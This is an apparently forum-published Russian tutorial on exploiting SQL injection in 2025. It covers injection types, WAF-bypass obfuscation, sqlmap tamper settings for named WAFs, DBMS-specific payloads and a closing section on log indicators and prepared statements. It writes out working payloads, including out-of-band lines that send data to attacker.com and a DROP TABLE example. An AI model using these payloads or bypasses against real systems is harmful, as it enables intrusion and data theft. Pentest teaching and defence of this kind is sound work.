Статья SQL инъекция в 2025: техники эксплуатации, обход WAF и автоматизация с sqlmap

Стеклянная пипетка над тёмным сосудом, капля чернил падает в прозрачную жидкость в янтарном свете. На ободке сосуда выгравировано «SQL INJECTION», позади светится экран с зелёным кодом.


В январе 2025 года кто-то проэксплуатировал CVE-2025-1094 в PostgreSQL - баг в функциях PQescapeLiteral(), PQescapeIdentifier() и PQescapeString() библиотеки libpq (CWE-149, Improper Neutralization of Quoting Syntax, CVSS 8.1 HIGH, вектор AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H). Цепочка прошла через BeyondTrust Remote Support и закончилась в инфраструктуре Министерства финансов США. Суть уязвимости - некорректная обработка пользовательского ввода в запросе к базе данных. Тот самый класс багов, который существует двадцать с лишним лет и никуда не собирается.

По OWASP, SQL-инъекция стабильно сидит в Top 10 под категорией A03:2021 - Injection. По MITRE ATT&CK, эксплуатация публичных приложений (T1190, Initial Access) - один из основных начальных векторов для APT-групп: APT28, APT39, APT41, Agrius, Axiom и Dragonfly документированно используют SQL-инъекции для первоначального доступа к целевым сетям.

Это не пересказ документации. Это разбор конкретных техник эксплуатации SQL-инъекций в 2025 году с позиции пентестера: какие пейлоады работают против реальных WAF, как отладить sqlmap, когда он упорно не видит инъекцию, и чем отличается time-based атака на MySQL от PostgreSQL.

Пять типов SQL-инъекций и их место в kill chain​

Прежде чем открывать sqlmap, разберитесь, с каким типом инъекции вы столкнулись. От этого зависит выбор техники, инструмента и тактика обхода защитных средств.

Error-based и UNION-based: классический in-band​

In-band SQL injection - ответ приходит через тот же HTTP-ответ, в который улетел пейлоад. Два подтипа:

Error-based - приложение отдаёт ошибки СУБД прямо в тело ответа. Отправляете ' AND extractvalue(1, concat(0x7e, version()))-- (MySQL) - и в сообщении об ошибке всплывает версия базы. На PostgreSQL аналогичный результат даёт ' AND 1=CAST((SELECT version()) AS numeric)-- - приведение строки к numeric вызывает ошибку, а в ней - полезные данные.

UNION-based - атакующий дописывает UNION SELECT к легитимному запросу, подтягивая данные из других таблиц. Условие: количество столбцов в UNION должно совпадать с оригинальным запросом. На практике это определяется тупым перебором: ORDER BY 1--, ORDER BY 2-- и так до ошибки. По OWASP, классические сигнатуры вроде 1 UNION SELECT 1,2,3 WAF блокирует на раз - поэтому в реальных пентестах нужны обфусцированные варианты (об этом ниже).

С точки зрения MITRE ATT&CK, успешная in-band инъекция ведёт к тактике Collection - извлечение данных из баз (T1213.006, Databases). Если атакующий вытащит учётные данные администратора - это прямой путь к Valid Accounts (T1078).

Blind SQL injection: boolean и time-based эксплуатация​

Blind SQL injection - приложение не отдаёт ни ошибок СУБД, ни данных из запроса. Ответ один и тот же, что ни подставь. Но разница всё-таки есть - надо знать, где искать.

Boolean-based blind - задаёте базе вопрос «да/нет» и судите по поведению приложения. Запрос ?id=442 OR 2346=2346 возвращает валидный контент (условие истинно), а ?id=442 OR 6362=6367 - пустой ответ (ложь). Посимвольно вытаскивая данные через SUBSTRING(), реконструируете содержимое базы. Медленно - сотни запросов на один пароль. Но надёжно.

Time-based blind - ещё более скрытный вариант. Приложение возвращает идентичный ответ на любой ввод. Единственный сигнал - время отклика. На MySQL: AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a', SLEEP(5), 0). Первый символ пароля - «a»? Ответ придёт через 5 секунд. Нет - мгновенно. На PostgreSQL SLEEP() не существует - нужен pg_sleep(5). На MSSQL - WAITFOR DELAY '0:0:5'. Эта разница между движками критична при ручном тестировании и при написании кастомных скриптов (у меня на этом горело не раз).

По данным OWASP, многие WAF пропускают blind-инъекции, если заменить стандартные функции синонимами: substring() на mid() или substr(), ascii() на hex() или bin(), benchmark() на sleep(). Часто не блокируются нестандартные операторы сравнения: !=, <>, <, > вместо =. Конструкция STRCMP(LEFT('password',1), 0x70) возвращает 0 при совпадении, 1 или -1 при несовпадении - и WAF-правила пропускают её значительно чаще.

Out-of-band и second-order SQL injection атаки​

Out-of-band (OOB) - данные уходят не через HTTP-ответ, а через внешний канал: DNS-запрос, HTTP-обращение с сервера БД на контролируемый атакующим хост. На MSSQL: '; EXEC master..xp_dirtree '\\attacker.com\share'-- - сервер инициирует SMB-соединение на порт 445, что вызывает DNS-резолвинг hostname, а его видно в DNS-логах. Для чистой DNS-exfiltration используется конструкция с xp_cmdshell + nslookup. На MySQL (только Windows-хосты с FILE privilege и secure_file_priv=NULL или пустым): SELECT LOAD_FILE(CONCAT('\\\\',version(),'.attacker.com\\a')). На Linux эта техника не работает - UNC-пути не поддерживаются. OOB-инъекция пригождается, когда time-based ненадёжна (WAF фильтрует задержки), а boolean-blind невозможна (ответ всегда одинаковый).

Second-order - самый подлый тип с точки зрения обнаружения. Пейлоад сохраняется в базу через безопасный INSERT (параметризованный), но срабатывает позже - когда другая часть приложения достаёт это значение и подставляет в новый запрос без санитизации. Пример: пользователь регистрируется с именем admin'--. При регистрации всё чисто - prepared statement. Но при смене пароля приложение строит запрос UPDATE users SET password='new' WHERE username='admin'--' - и пароль админа перезаписан. Автоматические сканеры, включая sqlmap, second-order инъекции находят крайне редко. Тут нужен ручной code review и понимание логики приложения.

Обход WAF при SQL-инъекции: практические техники 2025​

Обнаружить инъекцию - полдела. Проэксплуатировать её за WAF - вот на что уходит 80% времени пентеста.

HTTP Parameter Pollution и фрагментация запросов​

По исследованию OWASP, HTTP Parameter Pollution (HPP) - один из самых эффективных методов обхода WAF. Суть: пейлоад разбивается между несколькими одноимёнными параметрами. WAF анализирует каждый отдельно и не видит полной картины, а бэкенд конкатенирует их.

Пример из OWASP: запрос /?id=1;select+1,2,3+from+users+where+id=1-- блокируется. Но /?id=1;select+1&id=2,3+from+users+where+id=1-- проходит - WAF видит два «безобидных» значения параметра id, а серверное окружение склеивает их. Но поведение зависит от платформы, и тут начинается зоопарк: ASP.NET/IIS конкатенирует через запятую - приведённый пример работает именно для этого стека. PHP/Apache берёт последнее значение (id=2,3...), и инъекция в таком виде не сработает. JSP/Tomcat берёт первое значение (id=1). Node.js (Express) возвращает массив ['1','2,3'], что требует явной обработки на стороне приложения.

HTTP Parameter Fragmentation (HPF) развивает идею: пейлоад дробится между разными параметрами уязвимого запроса. Если серверный код строит запрос из нескольких GET-параметров - select [I] from table where a=$_GET['a'] and b=$_GET['b'] - можно отправить /?a=1+union/&b=/select+1,2. SQL-запрос станет: select [/I] from table where a=1 union/[I] and b=[/I]/select 1,2. Блок /[I] and b=[/I]/ превращается в SQL-комментарий. Красиво, правда?

Обфускация пейлоадов: комментарии, кодировки и нормализация​

OWASP документирует уязвимость в функциях нормализации WAF. Если WAF вырезает опасные ключевые слова (заменяет на пустую строку), можно вложить одно ключевое слово в другое: /?id=1/union/union/select/select+1,2,3/*. После очистки WAF убирает внутренние union и select, а на выходе - валидный 1 union select 1,2,3. Тот же принцип с un//ion sel//ect - если WAF удаляет //, результат - рабочий SQL.

Другие рабочие техники обфускации из данных OWASP:
  • Скобочная обфускация: (1)union(select(1),mid(hash,1,32)from(users)) - пробелы заменены скобками, сигнатуры WAF ломаются
  • Конкатенация строк: 1+union+(select'1',concat(login,hash)from+users) - кавычка прилипает к select без пробела
  • Вложенные скобки: (1)union(((((((select(1),hex(hash)from(users)))))))) - глубокая вложенность обходит regex-правила
  • MySQL versioned comments: /[I]!50000UNION[/I]/ /[I]!50000SELECT[/I]/ - MySQL выполняет содержимое, если версия >= 5.00.00; WAF видит комментарий. Техника специфична для MySQL/MariaDB; MySQL 8.0 штатно поддерживает /[I]!nnnnn [/I]/, но в MariaDB 10.7+ поддержка executable comments ограничена - проверяйте на целевой версии
  • Hex-кодирование: 0x50=0x50 вместо 'P'='P' - многие WAF не декодируют hex при анализе
По MITRE ATT&CK обфускация пейлоадов SQL-инъекции прямо соответствует технике Command Obfuscation (T1027.010, Defense Evasion).

sqlmap автоматизация пентест: от разведки до эксплуатации

Требования к окружению​

🔓 Эксклюзивный контент для зарегистрированных пользователей.

Tamper-скрипты sqlmap для обхода WAF​

Флаг --tamper подключает скрипты модификации пейлоадов перед отправкой. В комплекте sqlmap более 50 tamper-скриптов. Вот комбинации, которые чаще всего срабатывают на практике:

Для ModSecurity CRS: --tamper=space2comment,between,randomcase. space2comment заменяет пробелы на /**/, between заменяет = на BETWEEN X AND X и > на NOT BETWEEN 0 AND X (ломая сигнатуры, ориентированные на оператор равенства), randomcase рандомизирует регистр - sElEcT вместо SELECT.

Для MySQL-специфичных окружений: --tamper=space2hash,halfversionedmorekeywords. space2hash заменяет пробел на # с переводом строки (MySQL трактует # как однострочный комментарий), halfversionedmorekeywords оборачивает ключевые слова в MySQL versioned comments.

Для Cloudflare: --tamper=charencode,apostrophenullencode с дополнительным --random-agent и задержкой --delay=2 (чтобы не сработал rate-limiter).

Tamper-скрипты - не серебряная пуля. Каждый WAF обновляет правила, и комбинация, работавшая вчера, может быть заблокирована сегодня. Если стандартные tamper-скрипты не помогают - пишите свой. Кастомный tamper-скрипт - Python-файл с функцией tamper(payload, **kwargs), которая принимает пейлоад и возвращает модифицированную строку.

Дополнительные флаги sqlmap, повышающие эффективность при работе с WAF:
  • --level=5 --risk=3 - максимальные уровни тестирования, включают проверку cookie, referer, user-agent
  • --batch - автоматические ответы на все вопросы (для скриптинга)
  • --technique=BEUSTQ - конкретные типы инъекций для проверки (B=boolean, E=error, U=union, S=stacked, T=time, Q=inline query)
  • --prefix="')" --suffix="-- -" - кастомные префикс и суффикс для пейлоада, когда вы знаете структуру уязвимого запроса

Burp Suite и SQL injection: ручная верификация перед автоматизацией

Workflow, который минимизирует ложные срабатывания и экономит время:

Этап 1 - пассивный сбор. Проходите по приложению через Burp Proxy, собирая все endpoint'ы. В Target → Site map ищите параметры, которые потенциально попадают в SQL-запросы: id, sort, order, filter, search, category.

Этап 2 - ручное тестирование в Repeater. Берёте подозрительный запрос, отправляете в Repeater. Вставляете простейшие пейлоады: одинарная кавычка ' (ищите ошибку), AND 1=1 vs AND 1=2 (ищите разницу в ответе), AND SLEEP(5)-- (ищите задержку). Расширение Hackvertor позволяет на лету кодировать пейлоады - URL-encode, hex, unicode - без ручного пересчёта.

Этап 3 - передача в sqlmap. Инъекция подтверждена вручную - сохраняете запрос из Burp в файл (правый клик → Save item) и передаёте через sqlmap -r request.txt. Так sqlmap использует те же cookie, заголовки и параметры, что и ваш ручной тест. Расширение SQLiPy для Burp Suite позволяет отправить запрос напрямую в sqlmap API из интерфейса Burp.

Этап 4 - анализ результатов. sqlmap нашёл инъекцию - смотрите тип: union-based - данные можно вытащить быстро. Time-based - готовьтесь к длительному ожиданию и используйте --threads=5 для параллелизации (если целевой сервер выдерживает нагрузку).

DBMS-специфичные пейлоады при SQL injection атаках

Одна из типичных ошибок - гонять MySQL-пейлоады против PostgreSQL или MSSQL. Движки по-разному обрабатывают синтаксис, и пейлоад, идеальный для одной СУБД, вызовет синтаксическую ошибку на другой.

Конкатенация строк. MySQL: CONCAT('a','b'). Оператор || в MySQL по умолчанию - логическое ИЛИ, а не конкатенация (в отличие от PostgreSQL/Oracle); но если на сервере установлен sql_mode с PIPES_AS_CONCAT или ANSI, || будет конкатенацией - проверяйте через @@sql_mode. PostgreSQL: 'a' || 'b'. MSSQL: 'a' + 'b'. Критично при error-based инъекциях, где нужно собрать строку для вывода.

Задержки для time-based. MySQL: SLEEP(5) или BENCHMARK(10000000,SHA1('test')). PostgreSQL: pg_sleep(5). MSSQL: WAITFOR DELAY '0:0:5'. Oracle: dbms_pipe.receive_message('a',5). Пишете кастомный скрипт для автоматизации time-based инъекции - проверяйте движок перед выбором функции задержки.

Определение версии. MySQL: @@version или version(). PostgreSQL: version(). MSSQL: @@version. Oracle: SELECT banner FROM v$version.

Комментарии. MySQL: -- (с пробелом после), #, /[B]/. PostgreSQL: -- , /[/B]/. MSSQL: -- , /**/. MySQL уникален поддержкой # как однострочного комментария - tamper-скрипт space2hash эксплуатирует именно эту особенность и бесполезен против PostgreSQL.

Stacked queries. PostgreSQL и MSSQL нативно поддерживают выполнение нескольких запросов через ;. MySQL в связке с типичными клиентами (PHP mysqli_query, PDO, Python MySQLdb) stacked queries по умолчанию не поддерживает - нужна mysqli_multi_query. На практике: ; DROP TABLE users-- сработает на PostgreSQL, но с высокой вероятностью упадёт с ошибкой на MySQL.

Вернёмся к CVE-2025-1094: уязвимость в функциях экранирования PostgreSQL (CWE-149) позволяла обойти quoting-механизм libpq и получить выполнение произвольного SQL в контексте psql. Вектор CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - атака по сети, не требует привилегий и взаимодействия пользователя, но сложность высокая (AC:H). Именно эта сложность означала, что sqlmap без кастомной настройки не мог автоматически проэксплуатировать эту уязвимость.

SQL injection обнаружение и защита: что видно в логах

Со стороны обороны SQL-инъекции оставляют характерные следы. Вот что искать в access-логах WAF и веб-сервера:
  • Строки UNION SELECT, SLEEP(, BENCHMARK(, pg_sleep, WAITFOR DELAY в параметрах запросов
  • Символы ', --, /[I], [/I]/, # в нехарактерных полях (имена пользователей, числовые ID)
  • Аномальная длина параметров: поле id, обычно содержащее 1-5 цифр, внезапно получает 200+ символов
  • Аномальное время выполнения запросов к БД: обычно 50ms, внезапно 5000ms+ (сигнал time-based инъекции)
  • Серия однотипных запросов с минимальной вариацией одного символа (сигнал автоматизированной blind-инъекции)
  • User-Agent содержащий sqlmap - тривиальный индикатор, но удивительно часто встречается при скане ботами
Для SQL-инъекций через SQL Stored Procedures (T1505.001, Persistence по MITRE ATT&CK) - мониторьте логи СУБД на предмет создания новых хранимых процедур или изменения существующих. Это может означать, что атакующий закрепляется через бэкдор внутри базы.

На уровне SIEM выстраивайте корреляцию: всплеск 500-ошибок от одного IP + аномальная длина параметров + последующие запросы к чувствительным endpoint'ам = высоковероятная попытка SQL-инъекции.

Что касается защиты - prepared statements (параметризованные запросы) остаются единственным надёжным методом. ORM снижают риск, но не устраняют его: .raw() в Django, Sequelize.literal() в Node.js, ActiveRecord.find_by_sql() в Ruby on Rails - все они позволяют писать «сырой» SQL и мгновенно создают уязвимость. WAF - дополнительный слой, не основная защита. Принцип наименьших привилегий для учётной записи БД, под которой работает приложение, ограничивает ущерб: если аккаунт имеет только SELECT на нужные таблицы, stacked query с DROP TABLE не пройдёт.

Вопрос к читателям​

При настройке sqlmap под конкретный WAF выбор tamper-скриптов определяет успех или провал эксплуатации. Выше я описал комбинации space2comment,between,randomcase для ModSecurity CRS и charencode,apostrophenullencode для Cloudflare. Но WAF-правила обновляются, и эти комбинации не вечны. У кого есть свежий опыт обхода конкретного WAF через --tamper? Какая связка сработала, против какого WAF-движка и версии CRS? Покажите вашу рабочую строку --tamper=... - это ценнее любой теории.
 
Последнее редактирование модератором:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab